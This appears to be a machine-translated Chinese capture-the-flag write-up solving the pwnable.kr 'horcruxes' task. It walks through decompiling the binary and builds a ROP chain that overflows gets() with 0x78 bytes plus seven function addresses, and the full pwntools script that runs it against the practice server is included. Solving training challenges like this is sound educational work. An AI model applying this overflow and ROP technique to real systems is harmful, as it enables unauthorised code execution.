在本文中,我们将从站点
pwnable.kr解决第21个任务,该任务旨在编译ROP链。
组织信息特别是对于那些想要学习新知识并在信息和计算机安全性的任何领域中发展的人们,我将撰写和讨论以下类别:
- PWN;
- 密码学(加密);
- 网络技术(网络);
- 反向(反向工程);
- 隐写术(Stegano);
- 搜索和利用Web漏洞。
除此之外,我将分享我在计算机取证,恶意软件和固件分析,对无线网络和局域网的攻击,进行笔测试和编写漏洞利用程序方面的经验。
为了使您可以查找有关新文章,软件和其他信息的信息,我
在Telegram中创建了一个
频道,并创建了一个
小组来讨论 ICD领域中的
所有问题 。 另外,我会亲自考虑您的个人要求,问题,建议和建议,
并会回答所有人 。
提供所有信息仅出于教育目的。 对于由于使用本文档而获得的知识和方法对某人造成的任何损害,本文档的作者不承担任何责任。
解决魂器任务
我没有理由描述什么是逆向编程,因为
本文详细介绍了所有内容。
我们单击horcruxes签名图标,并告知我们需要通过SSH与密码guest连接。

连接后,我们会看到相应的横幅。

让我们找出服务器上有哪些文件,以及我们拥有的权限。

有一个自述文件,让我们看看他们给我们留下了什么信息。

据报告,该程序在端口9032上运行。我们没有提供源代码,请自行下载该程序。
scp -P2222 horcruxes@pwnable.kr:horcruxes /root/

在IDA中运行它并反编译它。 有三个有趣的函数:hint,init_ABCDEFG和ropme。

从名称来看,hint函数应包含一个提示。 让我们看看她。

据说您需要经历7个级别。 好吧,让我们看一看ropme。

已经更有趣了。 程序读取该数字,如果该数字等于某个参考值,则调用一个显示该值的函数。 因此,有7个含义。

如果没有匹配项,则要求我们输入一个与变量sum进行比较的字符串。 因此,让我们看一下init_ABCDEFG。

在此,随机产生参考值的初始化。 和是这些数字的总和。
我们整理了程序。 任务工具提示显示ROP。 想法如下:我们需要调用所有7个函数来知道参考值,然后再次调用ropme来传输这些值的总和。
多亏了gets函数,我们可以用地址链重写返回地址。 我们计算返回地址的字节数。

因此,我们需要转移到程序中,我们需要转移0x78字节的存根,然后在行中8个函数的地址。 在IDA中,我们可以找到功能的地址。

现在让我们编写一个漏洞利用程序。
rom pwn import * payload = "A" * 0x78 payload += p32(0x0809fe4b) payload += p32(0x0809fe6a) payload += p32(0x0809fe89) payload += p32(0x0809fea8) payload += p32(0x0809fec7) payload += p32(0x0809fee6) payload += p32(0x0809ff05) payload += p32(0x0809fffc) con = remote("pwnable.kr", 9032) con.recv() con.recv() con.send("123" + "\n") con.recv() con.send(payload + "\n") con.recv() ans = con.recv().split('\n') sum_result = 0 for i in range(1,8): sum_result += int(ans[i].split('+')[1].split(')')[0]) con.send("123" + "\n") con.send(str(sum_result) + "\n")

我们获得所需的标志,并在pwnable.kr上完成任务的第一部分。

您可以通过
Telegram加入我们。 下次我们将处理堆溢出。